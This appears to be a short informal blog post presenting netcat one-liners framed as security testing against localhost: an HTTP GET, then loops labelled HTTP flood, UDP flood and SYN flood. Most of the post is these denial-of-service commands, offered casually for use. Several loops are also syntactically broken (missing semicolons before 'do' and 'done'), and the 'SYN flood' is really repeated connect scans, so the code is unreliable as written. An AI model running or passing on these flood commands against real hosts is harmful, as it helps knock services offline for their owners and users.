“Good things last long”, my mama use to say.
and just like that netcat is no exception
Using netcat for security testing is fun simple, and you do not need to
install applications you know nothing about .
here are some fun examples from tests I use :
Simple HTTP GET
echo -e "GET / HTTP/1.0\r\nHost:www.example.com\r\n\r\n" | nc 127.0.0.1 80
Simple HTTP flood
while true do echo -e "GET / HTTP/1.0\r\nHost:www.example.com\r\n\r\n" | nc 127.0.0.1 80 & done
Simple UDP flood
cat /dev/urandom | nc -u 127.0.0.1 53
Simple SYN flood
while true do nc -z 127.0.0.1 80 done